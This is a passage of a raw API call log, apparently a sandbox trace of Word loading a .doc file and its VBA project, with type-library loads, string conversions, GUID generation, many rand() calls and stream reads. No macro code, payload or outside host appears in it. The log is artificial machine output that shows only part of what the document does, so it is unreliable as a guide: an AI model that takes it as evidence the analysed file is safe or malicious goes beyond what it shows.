_Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0052.956] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0052.956] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b44f0 [0052.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b44f0, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0052.956] IMalloc:Free (This=0x7feffc15380, pv=0x69b44f0) [0052.956] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0052.956] IUnknown:AddRef (This=0x677a9f0) returned 0x3 [0052.956] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1262e8 | out: ppvObject=0x1262e8*=0x0) returned 0x80004002 [0052.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x1262b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0052.956] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0052.956] IUnknown:Release (This=0x677a9f0) returned 0x2 [0052.956] GetModuleFileNameW (in: hModule=0x7fee4790000, lpFilename=0x7fee4b6e4c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0052.956] QueryPathOfRegTypeLib (in: guid=0x7fee4b3dd50*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x126350 | out: lpbstrPathName=0x126350) returned 0x0 [0052.960] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x1263a8*=0x0 | out: pptlib=0x1263a8*=0x677d9c0) returned 0x0 [0052.967] IUnknown:AddRef (This=0x677d9c0) returned 0x2 [0052.967] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x1263c8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2357c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2357c0*="\x57c0\x23") returned 0x0 [0052.967] IUnknown:QueryInterface (in: This=0x677d9c0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1261b8 | out: ppvObject=0x1261b8*=0x0) returned 0x80004002 [0052.967] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x1261b0, pDummy=0x10 | out: ppTLibAttr=0x1261b0, pDummy=0x10) returned 0x0 [0052.967] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x0, pbstrName=0x1261a8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa6eabb166801 | out: pbstrName=0x1261a8*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa6eabb166801) returned 0x0 [0052.967] StringFromGUID2 (in: rguid=0x66d9d60*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1261d0, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0052.967] _ultow_s (in: _Value=0x4, _Buffer=0x12611a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0052.967] _ultow_s (in: _Value=0x2, _Buffer=0x12611e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0052.967] _ultow_s (in: _Value=0x9, _Buffer=0x126122, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0052.967] wcscpy_s (in: _Destination=0x4377948, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0052.967] wcscpy_s (in: _Destination=0x437794e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0052.967] wcscpy_s (in: _Destination=0x437799a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0052.967] wcscpy_s (in: _Destination=0x43779a8, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0052.967] wcscpy_s (in: _Destination=0x4377a2e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0052.967] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0052.967] IMalloc:Realloc (This=0x7feffc15380, pv=0x6806790, cb=0x340) returned 0x68cc4a0 [0052.967] wcscpy_s (in: _Destination=0x68cc5e8, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0052.967] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x1262c8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0052.967] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0052.967] strcpy_s (in: _Dst=0x1260c0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0052.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1260c0, cbMultiByte=4, lpWideCharStr=0x125f10, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0052.967] IUnknown:AddRef (This=0x677a9f0) returned 0x3 [0052.967] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x125fe0, pBstrLibName=0x125f10 | out: pfName=0x125fe0*=0, pBstrLibName=0x125f10) returned 0x0 [0053.002] IUnknown:Release (This=0x677a9f0) returned 0x2 [0053.002] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0x6906600 [0053.002] IMalloc:Free (This=0x7feffc15380, pv=0x66da120) [0053.002] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66da120 [0053.002] IMalloc:Free (This=0x7feffc15380, pv=0x6906600) [0053.002] wcsncpy_s (in: _Destination=0x125ec0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0053.002] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0053.002] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0x69224d0 [0053.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x69224d0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0053.002] IMalloc:Free (This=0x7feffc15380, pv=0x69224d0) [0053.002] IMalloc:Realloc (This=0x7feffc15380, pv=0x68fe820, cb=0x460) returned 0x68bd2c0 [0053.002] wcscpy_s (in: _Destination=0x68bd4e0, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0053.002] wcsncpy_s (in: _Destination=0x125f00, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0053.002] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0053.002] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0x69224d0 [0053.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x69224d0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0053.002] IMalloc:Free (This=0x7feffc15380, pv=0x69224d0) [0053.002] wcsncpy_s (in: _Destination=0x125ec0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0053.002] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0053.002] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b4770 [0053.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b4770, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0053.002] IMalloc:Free (This=0x7feffc15380, pv=0x69b4770) [0053.002] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0053.002] IUnknown:AddRef (This=0x677d9c0) returned 0x3 [0053.002] IUnknown:QueryInterface (in: This=0x677d9c0, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1262e8 | out: ppvObject=0x1262e8*=0x0) returned 0x80004002 [0053.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x1262b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0053.002] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0053.002] IUnknown:Release (This=0x677d9c0) returned 0x2 [0053.003] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c7a0 [0053.003] IMalloc:GetSize (This=0x7feffc15380, pv=0x690c7a0) returned 0x0 [0053.003] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c7b0 [0053.003] IMalloc:GetSize (This=0x7feffc15380, pv=0x690c7b0) returned 0x0 [0053.003] VirtualQuery (in: lpAddress=0x126890, lpBuffer=0x126850, dwLength=0x30 | out: lpBuffer=0x126850*(BaseAddress=0x126000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0053.003] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c7c0 [0053.003] qsort (in: _Base=0x690c7c0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee48e5594 | out: _Base=0x690c7c0) [0053.013] IMalloc:Free (This=0x7feffc15380, pv=0x690c7c0) [0053.013] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6906600 [0053.013] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0x69066e0 [0053.013] IMalloc:GetSize (This=0x7feffc15380, pv=0x69066e0) returned 0xc [0053.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0053.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0053.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0053.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0053.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0053.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0053.013] IMalloc:Free (This=0x7feffc15380, pv=0x690c7b0) [0053.013] IMalloc:Free (This=0x7feffc15380, pv=0x690c7a0) [0053.013] CoCreateGuid (in: pguid=0x126998 | out: pguid=0x126998*(Data1=0xa3f410d, Data2=0x5a59, Data3=0x431d, Data4=([0]=0xb9, [1]=0xbf, [2]=0xb0, [3]=0xd1, [4]=0x68, [5]=0xa1, [6]=0xd5, [7]=0xab))) returned 0x0 [0053.013] IMalloc:Alloc (This=0x7feffc15380, cb=0x6b0) returned 0x69e5e50 [0053.013] srand (_Seed=0x5196) [0053.013] rand () returned 2707 [0053.013] rand () returned 5367 [0053.013] rand () returned 3107 [0053.013] rand () returned 25991 [0053.013] rand () returned 22224 [0053.013] rand () returned 7173 [0053.013] rand () returned 3305 [0053.013] rand () returned 5542 [0053.013] rand () returned 21093 [0053.013] rand () returned 7093 [0053.013] rand () returned 29645 [0053.013] rand () returned 30555 [0053.013] rand () returned 4452 [0053.013] rand () returned 15519 [0053.013] rand () returned 22682 [0053.014] rand () returned 20118 [0053.014] rand () returned 26125 [0053.014] rand () returned 28117 [0053.014] rand () returned 31912 [0053.014] rand () returned 27549 [0053.014] rand () returned 25247 [0053.014] rand () returned 12135 [0053.014] rand () returned 31572 [0053.014] rand () returned 27055 [0053.014] rand () returned 11630 [0053.014] rand () returned 26157 [0053.014] rand () returned 24237 [0053.014] rand () returned 16615 [0053.014] rand () returned 23350 [0053.014] rand () returned 7360 [0053.014] rand () returned 27760 [0053.014] rand () returned 12132 [0053.014] rand () returned 17327 [0053.014] rand () returned 21962 [0053.014] rand () returned 16183 [0053.014] rand () returned 15783 [0053.014] rand () returned 1121 [0053.014] rand () returned 21376 [0053.014] rand () returned 32749 [0053.014] rand () returned 25148 [0053.014] rand () returned 9658 [0053.014] rand () returned 30828 [0053.014] rand () returned 21381 [0053.014] rand () returned 2205 [0053.014] rand () returned 5726 [0053.014] rand () returned 9584 [0053.014] rand () returned 20715 [0053.014] rand () returned 32595 [0053.014] rand () returned 28862 [0053.014] rand () returned 14600 [0053.014] rand () returned 4923 [0053.014] rand () returned 4446 [0053.014] rand () returned 16108 [0053.014] rand () returned 5071 [0053.014] rand () returned 15410 [0053.014] rand () returned 20183 [0053.014] rand () returned 12462 [0053.014] rand () returned 17989 [0053.014] rand () returned 31458 [0053.014] rand () returned 18644 [0053.014] rand () returned 30673 [0053.014] rand () returned 19407 [0053.014] rand () returned 27305 [0053.014] rand () returned 17548 [0053.015] rand () returned 16063 [0053.015] rand () returned 30463 [0053.015] rand () returned 24163 [0053.015] rand () returned 10684 [0053.015] rand () returned 27988 [0053.015] rand () returned 29462 [0053.015] rand () returned 27615 [0053.015] rand () returned 12361 [0053.015] rand () returned 12270 [0053.015] rand () returned 32455 [0053.015] rand () returned 19344 [0053.015] rand () returned 4390 [0053.015] rand () returned 29891 [0053.015] rand () returned 17470 [0053.015] rand () returned 24709 [0053.015] rand () returned 15992 [0053.015] rand () returned 21368 [0053.015] rand () returned 29281 [0053.015] rand () returned 31899 [0053.015] rand () returned 26360 [0053.015] rand () returned 4847 [0053.015] rand () returned 31574 [0053.015] rand () returned 13554 [0053.015] rand () returned 18585 [0053.015] rand () returned 16736 [0053.015] rand () returned 7237 [0053.015] rand () returned 23197 [0053.015] rand () returned 5740 [0053.015] rand () returned 4779 [0053.015] rand () returned 4703 [0053.015] rand () returned 27550 [0053.015] rand () returned 30144 [0053.015] rand () returned 30956 [0053.015] rand () returned 8479 [0053.015] rand () returned 4113 [0053.015] rand () returned 22157 [0053.015] rand () returned 11088 [0053.015] rand () returned 19919 [0053.015] rand () returned 30631 [0053.015] rand () returned 11027 [0053.015] rand () returned 3880 [0053.015] rand () returned 29775 [0053.015] rand () returned 11094 [0053.015] rand () returned 17086 [0053.015] rand () returned 14140 [0053.015] rand () returned 6418 [0053.015] rand () returned 10063 [0053.015] rand () returned 19533 [0053.016] rand () returned 28002 [0053.016] rand () returned 7273 [0053.016] rand () returned 20785 [0053.016] rand () returned 17203 [0053.016] rand () returned 31311 [0053.016] rand () returned 13060 [0053.016] rand () returned 7804 [0053.016] rand () returned 19517 [0053.016] rand () returned 8108 [0053.016] rand () returned 18357 [0053.016] rand () returned 32584 [0053.016] rand () returned 17782 [0053.016] rand () returned 30829 [0053.016] rand () returned 10872 [0053.016] rand () returned 24887 [0053.016] rand () returned 3400 [0053.016] rand () returned 13150 [0053.016] rand () returned 12465 [0053.016] rand () returned 24232 [0053.016] rand () returned 17635 [0053.016] rand () returned 23550 [0053.016] rand () returned 10932 [0053.016] rand () returned 28205 [0053.016] rand () returned 4579 [0053.016] rand () returned 9617 [0053.016] rand () returned 21130 [0053.016] rand () returned 9792 [0053.016] rand () returned 9004 [0053.016] rand () returned 27761 [0053.016] rand () returned 6131 [0053.016] rand () returned 26929 [0053.016] rand () returned 32025 [0053.016] rand () returned 24997 [0053.016] rand () returned 28071 [0053.016] rand () returned 3427 [0053.016] rand () returned 20695 [0053.016] rand () returned 5300 [0053.016] rand () returned 31713 [0053.016] rand () returned 21944 [0053.016] rand () returned 25355 [0053.016] rand () returned 20411 [0053.016] rand () returned 23582 [0053.016] rand () returned 20042 [0053.016] rand () returned 17851 [0053.016] rand () returned 31166 [0053.016] rand () returned 16930 [0053.016] rand () returned 24924 [0053.016] rand () returned 26987 [0053.017] rand () returned 29500 [0053.017] rand () returned 13885 [0053.017] rand () returned 14480 [0053.017] rand () returned 18822 [0053.017] rand () returned 8454 [0053.017] rand () returned 17612 [0053.017] rand () returned 15962 [0053.017] rand () returned 14336 [0053.017] rand () returned 6481 [0053.017] rand () returned 18178 [0053.017] rand () returned 21428 [0053.017] rand () returned 3130 [0053.017] rand () returned 9993 [0053.017] rand () returned 10473 [0053.017] rand () returned 3603 [0053.017] rand () returned 14630 [0053.017] rand () returned 5992 [0053.017] rand () returned 20643 [0053.017] rand () returned 4506 [0053.017] rand () returned 3755 [0053.017] rand () returned 1480 [0053.017] rand () returned 2806 [0053.017] rand () returned 23438 [0053.017] rand () returned 10827 [0053.017] rand () returned 6581 [0053.017] rand () returned 8456 [0053.017] rand () returned 4363 [0053.017] rand () returned 23299 [0053.017] rand () returned 27463 [0053.017] rand () returned 31590 [0053.017] rand () returned 9717 [0053.017] rand () returned 31858 [0053.017] rand () returned 430 [0053.017] rand () returned 30283 [0053.017] rand () returned 28720 [0053.017] rand () returned 3390 [0053.017] rand () returned 8207 [0053.017] rand () returned 19232 [0053.017] rand () returned 31508 [0053.017] rand () returned 1204 [0053.017] rand () returned 21647 [0053.017] rand () returned 13119 [0053.017] rand () returned 12059 [0053.017] rand () returned 11182 [0053.017] rand () returned 32173 [0053.017] rand () returned 10236 [0053.017] rand () returned 8669 [0053.017] rand () returned 31930 [0053.017] rand () returned 14804 [0053.017] rand () returned 25574 [0053.018] rand () returned 8767 [0053.018] rand () returned 20344 [0053.018] rand () returned 30000 [0053.018] rand () returned 2378 [0053.018] rand () returned 21735 [0053.018] rand () returned 21316 [0053.018] rand () returned 2498 [0053.018] rand () returned 4601 [0053.018] rand () returned 29939 [0053.018] rand () returned 7445 [0053.018] rand () returned 9647 [0053.018] rand () returned 27723 [0053.018] rand () returned 3306 [0053.018] rand () returned 19621 [0053.018] rand () returned 27614 [0053.018] rand () returned 26980 [0053.018] rand () returned 15346 [0053.018] rand () returned 3283 [0053.018] rand () returned 705 [0053.018] rand () returned 24758 [0053.018] rand () returned 23364 [0053.018] rand () returned 29509 [0053.018] rand () returned 1395 [0053.018] rand () returned 11463 [0053.018] rand () returned 6110 [0053.018] rand () returned 849 [0053.018] rand () returned 2820 [0053.018] rand () returned 25909 [0053.018] rand () returned 21623 [0053.018] rand () returned 22558 [0053.018] rand () returned 14353 [0053.018] rand () returned 31223 [0053.018] rand () returned 26552 [0053.018] rand () returned 14854 [0053.018] rand () returned 3735 [0053.018] rand () returned 5093 [0053.018] rand () returned 2729 [0053.018] rand () returned 9023 [0053.018] rand () returned 28680 [0053.018] CoCreateGuid (in: pguid=0x68fe188 | out: pguid=0x68fe188*(Data1=0x941869ec, Data2=0xbfbf, Data3=0x4327, Data4=([0]=0xb1, [1]=0x52, [2]=0x96, [3]=0x25, [4]=0xba, [5]=0xfa, [6]=0xb1, [7]=0x83))) returned 0x0 [0053.018] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x0) returned 0x690c7a0 [0053.019] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x407ee00 [0053.019] strcpy_s (in: _Dst=0x68fe1e8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0053.019] CExposedDocFile::OpenStream () returned 0x0 [0053.019] CExposedStream::Read () returned 0x0 [0053.019] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0x69e6510 [0053.019] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0x69e8540 [0053.019] CExposedStream::AddRef () returned 0x2 [0053.019] CExposedStream::Release () returned 0x1 [0053.019] CExposedStream::Read () returned 0x0 [0053.020] CExposedStream::Read () returned 0x0 [0053.020] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0053.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x126994, cbMultiByte=2, lpWideCharStr=0x1269a8, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0053.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x126920, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0053.020] lstrcmpiA (lpString1="", lpString2="Project") returned -1 [0053.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x126820, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0053.020] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0053.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x126730, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0053.021] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0053.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x126730, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0053.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x1265f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0053.021] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0053.021] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0053.021] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x69062a0 [0053.021] IMalloc:Free (This=0x7feffc15380, pv=0x66da120) [0053.021] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66da120 [0053.021] IMalloc:Realloc (This=0x7feffc15380, pv=0x66da120, cb=0x44) returned 0x69c1940 [0053.021] IMalloc:Free (This=0x7feffc15380, pv=0x69062a0) [0053.021] strcpy_s (in: _Dst=0x68fe1f8, _DstSize=0x8, _Src="Project" | out: _Dst="Project") returned 0x0 [0053.078] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x126930 | out: pclsid=0x126930*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0053.078] wcsncpy_s (in: _Destination=0x699c508, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0053.078] 